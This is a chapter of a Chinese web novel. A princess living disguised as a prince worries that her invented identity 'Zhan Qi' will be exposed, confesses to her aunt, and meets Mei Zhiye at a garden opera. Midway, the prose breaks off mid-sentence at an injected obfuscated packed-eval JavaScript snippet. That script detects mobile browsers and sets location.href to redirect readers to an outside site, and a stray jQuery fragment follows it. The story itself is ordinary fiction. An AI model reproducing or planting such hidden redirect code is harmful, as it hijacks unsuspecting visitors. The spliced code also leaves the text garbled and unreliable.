“若我不死……必定将你、千、刀、万、剐。”
赵遂辛赤红的眼死死盯着她,一字一顿,确是恨极。
俄而画面一转,她已镣铐加身。
血气浓重,盈满牢狱。
她拼命抬起头来,视线中只余一片猩红。汗与血含混在一起,蜇得眼睛生痛。
“将军!”
她努力睁大眼睛,却只能瞧见前方一道影影绰绰的颀长身形。
脚步声踏响。
一步,两步,站定于不远处。
“别……”她声音嘶哑,“别过来……”
“还留着做什么?”
来人微瞥一眼,像在看死人,话里只余不耐。
“先前此人花言巧语,巧言令色,机关算尽,不过是落得如此下场。”
那人冷冷扯唇,露出一个漠然的笑。
“依军法,杖毙。”
!
宁济猛地睁眼!
砰砰、砰砰——
她轻轻抬手,按住心头,长出一口气。
……还好,噩梦而已。
夜深时刻,乍然醒来,竟有些睡不着。宁济索性起身,摸索着点起灯。
她怔怔看着烛芯烧得蜷曲,烛光微晃,轻轻跳动。
……赵遂辛为人秉性极正,怎会对她动用私刑?
果真只是乱梦。
不过……想到他离去之时双眼赤红、恨不得活剥了她的可怕目光,又有些不确定了。
宁济揉了揉额角。
恐怕他长到今日,还没被人骗到如此境地。
毕竟展柒此人的出现,从头到尾都只为接近他。为借机潜入太子宴中,害得他因同情恻隐,甘愿同一无名无分无根孤女结为夫妻。如此隐忍退让,得到的是利用不说,更遭她反戈一击倒打一耙……
其痛恨之心,可想而知。
此人恩怨分明。他既说会将她千刀万剐,即使并非当真动刀动剑,恐怕也必将想尽办法掘地三尺都要寻见,施以极刑,报仇雪恨……
夜已深重,本不是寒凉时节,她却生生打了个寒颤。
如何是好?如何是好?
她怔怔想着,直到烛火舐上指尖,被燎得一痛,方清醒过来。
不对!
说到底,展柒此人并不存在。生死之局已破,究竟世上如今只余三皇子宁济,并无孤女展柒!
倘他赵遂辛寻不见展柒,纵是恨至心底,又该如何报仇雪恨?
她宁济堂堂三皇子,只要不行差踏错,便是他明日就封王加爵,又能拿自己这正大光明的皇嗣若何?最多不过是站队旁人,寻她麻烦而已!
想通此节,宁济腿一软,跌回榻上。
无论如何,如今逃过一劫,是好事。
至于赵遂辛……
她打了个呵欠,缩进被衾,蒙上眼睛。
且先睡觉。想不通的都日后再说。
这些日子以来,一直以来都不曾真正安心地睡过一个整觉。如今得幸逃出生天,总算能安稳入梦。
毕竟……离他东山再起重回京中的时日还早得很。
……
翌日。
宁济将展玥的手捉起来,额头抵了上去。
“当真没事了。不信姑姑试试看?”
展玥探了一探,指尖温凉,总算松了口气。
“烧退了就好。昨日可真是吓死我了。”
宁济笑眯眯道:“害姑姑为我担心了。”
展玥没好气道:“我也不问究竟是怎么回事了,谅你也不会告诉我。我只问你一件事,你日后总不会再出去了吧?”
如今心头一块大石头落地,就连那困扰自己已久的诡梦也并不再叨扰。难得睡一场好觉,宁济心情大好,道:“不出去了!先前忧心之事都已解决了,还出去做什么?日后姑姑在哪里,我就在哪里!”
“贫嘴。”
展玥笑骂一句,抬手丢来一沓信。
“对了。宫外头这些日子递来的,说是给展姑娘的——想必不是给我的吧?落款是梅家人。”
信?!
宁济手忙脚乱接了过来,拆开看去,薛涛笺上寥寥小字,正是梅芷叶。
当头一行“展柒敬启”几个字映入眼帘,她的笑顿时僵在脸上。
糟了。
展玥疑道:“怎么?”
宁济皱起眉头:“我先前……忘记了一件事。”
既然梅芷叶能为了寻“展柒”,顺藤摸瓜摸到三皇子跟前,想必赵遂辛也可以。
她这个假身份,糊弄得了一时,可糊弄不了一世!究其根本,“展柒”根本不存在。但凡细究来龙去脉,这凭空冒出来的人怎么看都十分可疑。
倘若再寻根究底追查一番,恐怕不止“展柒”的身份摇摇欲坠,恐怕就连她这三皇子的底细也……
宁济心头猛地擂起。
不可!绝对不可!
从前委曲求全百般算计,一切只为能在这被迫卷入的争嫡纷争中活下来。可倘若因为“展柒”的存在,连累得她这三皇子本是女儿身的秘密暴露……
以女子之身扮作皇子,欺君二十载!
一想到这样的下场,她面上血色霎时散去。
……恐怕死相不会比被毒死好上多少。
还会落得一片骂名,遭天下耻笑。
届时,就算她这父皇出于隐约的恻隐之心免去死罪,恐怕看她不顺眼已久的太子也绝不会放过她!
不成。
必须得仔细善后。
宁济面无表情,将信纸略扫一遍,随手搁在案上。
见她面色逐渐凝重,展玥觉得奇怪:“怎么了,信有问题?梅家来找你的麻烦?可你怎么会和梅家人扯上关系?”
宁济将思绪理了一遍,轻声道:“我知晓姑姑心中疑虑颇多,可先前事急从权,诸事诡异难信,一时不好同姑姑解释。我便暂且自作主张,因此才惹出许多麻烦来,也劳动姑姑为我费心。”
于是便絮絮将先前种种一并交代了干净。
她将梅芷叶的信纸抻得平整,递于展玥眼前:“这便是那梅家女梅芷叶递来的信笺……总之,便是如此了。”
听她一字一句细细道来原委,展玥开始还以为她仍在同她开玩笑,本还有些愤懑,到了后来,渐变为不可置信,而后凝重错愕,如今听罢,已恍惚半晌。
“先前瞒着姑姑,是我不对,全凭姑姑责罚。”宁济垂头坐在一旁,额发坠下来,遮住眉眼,竟显得有几分乖巧可怜。
许久,展玥才迟疑道:“也就是说……如今你已改了命定死局?那么往后……”
“非也。”宁济摇了摇头,“最多只算改了那梦中所见死局。往后我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143870|194509||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的性命安危如何,全未可知,只能走一步看一步。不过这倒不是什么大事。”
“要紧的是我那名唤展柒的假身份惹来的麻烦事实在不少。一则便是眼下这个……”
她顿了顿,指尖扫过信笺上小楷。眉心微微皱起。
“梅芷叶竟不知为何,偏生要邀约我去一同谈诗论画。虽说可以回绝一次两次,只是她频繁来此,若惹得旁人起了疑心。就不知该如何是好了。”
展玥思忖道:“按说这梅家千金与你那假身并无什么交集,却为何执意要约你出行?不妨先去见见,打探一番她的目的。”
宁济笑道:“我与姑姑想到一处去了。不过……”
展玥道:“怎么?”
不过……除了这梅芷叶,还有个更大的麻烦。
她顿了一顿,又想起那双鹰隼似的泛着恨意的眼。
罢了,此事未至眼下,再多麻烦,也日后再说。眼下先解决当前之急便是了。
宁济道:“没什么。我是在想,这一来一回,还得劳烦姑姑帮我改头换面了。”
如今话已说开,玥姑姑心头忧虑已解,脾气便一如往常:“亏得你还知道麻烦!先前我说让你来学,你却总是推三阻四!”
宁济振振有辞:“那不是有姑姑在吗?有姑姑在身旁,我就是不学这手画皮功夫,也安全得很。”此话说完,果真遭展玥瞪了一眼。
她便悻悻展开信纸,研墨提笔,回信梅芷叶,约定了日后会面时。
*
是日,天朗气清。
京城春日时节,恰是花团锦簇。游园花会皆有许多高门贵女皆相约赏玩,以享此景。
尚未踏入院门,便闻得一段悠扬婉转唱腔自深深曲曲的廊院内传来。宁济冲守门人出示过信物,走近几步,便见到不远处有人斜倚小几旁,托着下颌赏看台上伶人咿呀做唱。
她整了整衣衫,轻声道:“梅小姐。”
梅芷叶一惊,起身回看,见着是她,面上一喜:“你来了!”
宁济道:“劳姑娘久候。”
梅芷叶摇头:“哪里的事?是我来得太早。闲着也是无聊,这院里班子的曲子唱得不错,索性就点了一曲。你也坐!不必拘谨,反正咱们今日也是来赏玩花宴的。”说着,她便来牵宁济的手,笑盈盈挽着她坐在一旁的榻上,竟是全不在意身份之别。
待坐定了,梅芷叶上下看她一眼:“不想姑娘如此容姿,衣着却低调得很。”
宁济摸了摸鼻子:“一切都是身外之物罢了。”
她住的那洒金阁,本就地处偏远,衣食不丰,女子装束更是鲜有。就连今日她穿的一身青衫也是临时寻来的,放在阁内沉柜里,早都已不知存了多久,如今穿在身上,浑身上下都不大自在。
梅芷叶噗嗤一声笑了:“这话倒是没错——戏开场了,这一段还算精彩,咱们且先看一段。”
台上旦角出场,幽幽唱腔诉尽闺怨。一会儿曲调渐缓,上来一位老生衔场。
左右不是要紧桥段,宁济踌躇片刻,试探道:“……说起来,还未曾谢过梅小姐相邀。”
“这有什么?那日同展姑娘你一见如故,因此特邀你出来赏玩。”梅芷叶说着,转眼仔细打量了她一番,眉梢微动:“你应了帖子,我高兴还来不及!我本还担心殿内之事忙得紧,三殿下那边不放心你出来呢……”